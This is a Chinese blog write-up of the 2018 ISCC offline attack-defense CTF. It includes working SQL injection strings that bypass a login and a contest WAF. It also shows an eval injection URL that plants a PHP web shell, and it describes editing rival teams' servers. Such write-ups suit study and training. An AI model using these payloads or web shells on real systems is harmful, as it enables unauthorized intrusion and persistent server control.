2018-iscc线下

Jul 17, 2018 09:54 · 212 words · 1 minute read ctf

早上

早上是选择题和3道ctf题,就不多说了.

中午12点开放ad环境,iscc的赛制是自己队伍的私地也需要自己搞定.访问自己的IP后,是一个登录框.

尝试万能密码登录,结果出现一个表清包,抓包分析,在响应头看到hint:hint.txt,访问得到了部分源码

<?php
$sql="SELECT pwd FROM user WHERE uname = '{$_POST['uname']}'";
$query = mysqli_query($con,$sql); 
if (mysqli_num_rows($query) == 1) { 
    $key = mysqli_fetch_array($query);
    if($key['pwd'] == $_POST['pwd']) {
        echo "xxxxxxxxx";
    }else{
        echo "你这密码不太对啊";
    }
}else if(mysqli_num_rows($query) == 0){
	echo "你这密码不太对啊";
}
else{
	echo "数据太多了";
}

似曾相熟的源码,和实验吧的一道题很相似,是利用group by…with rollup来绕过

group by…with rollup:

mysql> select * from user;
+------+-------+------+
| id   | uname | pwd  |
+------+-------+------+
|    1 | admin | 12   |
+------+-------+------+
1 row in set (0.00 sec)

mysql> select * from user group by pwd with rollup;
+------+-------+------+
| id   | uname | pwd  |
+------+-------+------+
|    1 | admin | 12   |
|    1 | admin | NULL |
+------+-------+------+
2 rows in set (0.00 sec)

由上的结果可以发现,我们可以将查询的pwd填充为空,那么我们构造这样的uname

uname : 1' or 1=1 group by pwd with rollup limit 1,1#

最终的sql语句就会变成这样

SELECT pwd FROM user WHERE uname = '1' or 1=1 group by pwd with rollup limit 1,1#'

取出的pwd就为NULL,这时我们的密码留空即可.

在本地测试可以登录,实际测试时还是出现表情包,可能是有waf.

测试发现waf将or and union sleep && || ,都过滤掉了.

,可以用offset来代替,or 可以使用 '=0来代替,最终的uname如下


uname: '=0 group by pwd with rollup limit 1 offset 1#
密码留空

登录后给出一串字符

+ADg-d+ADIAMA-d+ADUANw-e+ADI-f+ADIAYgA5AGI-e+ADUALw-f+AGIAMwAw-e+ADcAMA-f+ADcAOAAxADMANAA4ADk-dd+AGE-e+ADcAOQBi-e+ADAANwA5ADIANQBhADMANABhAC4AcABoAHA-

刚开始以为是xxencode编码,真的很像,但是解码的时候失败了,最后发现是utf-7编码…在这里卡了挺久的…最终解码后是一个路径

8d20d57e2f2b9be5/fb30e70f7813489ddae79be07925a34a.php

访问得

<?php
show_source( __FILE__); 
$a = @$_REQUEST['a'];
@eval("var_dump($$a);"); 

一个很简单的任意代码执行,构造paylaod如下

http://192.168.36.147/8d20d57e2f2b9be5/fb30e70f7813489ddae79be07925a34a.php?a=a);fwrite(fopen("aa.php", "w"),"<?php @eval(\$_POST['cms']); ?>");phpinfo(

写入shell,菜刀连接即可.连接后赶紧补了自己的洞,这个时候都3点了,已经被打几轮了.(主要编码那个浪费很多时间,心塞)

然后我尝试访问其他选手的私地IP发现连不上去,以为要做端口转发,把ew用菜刀传上去,结果不能执行?????然后又卡住了,一直在找别的办法打别人的私地.

1. 尝试端口转发,但是ew始终无法执行
2. 在菜刀的终端里,尝试直接用curl访问别的队伍,确实可以访问,但是可能是因为payload里有特殊字符,导致无法传参过去??又卡住了..

就这样折腾到了5点,还是没有打到别人,这时候对面选手的网络出现了问题,主办方有人过来修理,我想是不是我的网络也出现问题,于是问对面选手,才知道,拿下私地后,要联系主办方,主办方会给服务器的账号密码,并且开放访问别的队伍的权限(……) 联系主办方后,迅速筛选还没有修补漏洞的选手的IP然后使用hereiam -t 队伍签名命令拿分.

我用菜刀连上别的队伍的私地后,发现并没有队伍修改别人私地漏洞的参数,就是$a = @$_REQUEST['a'];中的a,(大佬们都好善良),

于是我就悄悄的把所用能打的队伍的参数全部替换成yang了,然后把show_source注释掉了,帮他们修补漏洞.嘻嘻嘻.

下一轮开始的时候,听到有人说 怎么payload打不到了,页面也变空白了.哈哈哈哈.

但是由于之前没有搞清楚赛制,浪费了很多时间,错过了好几轮.(心塞)

后记

下次比赛一定要先熟悉赛制,吃过的亏不能吃第二遍了.

tweet Share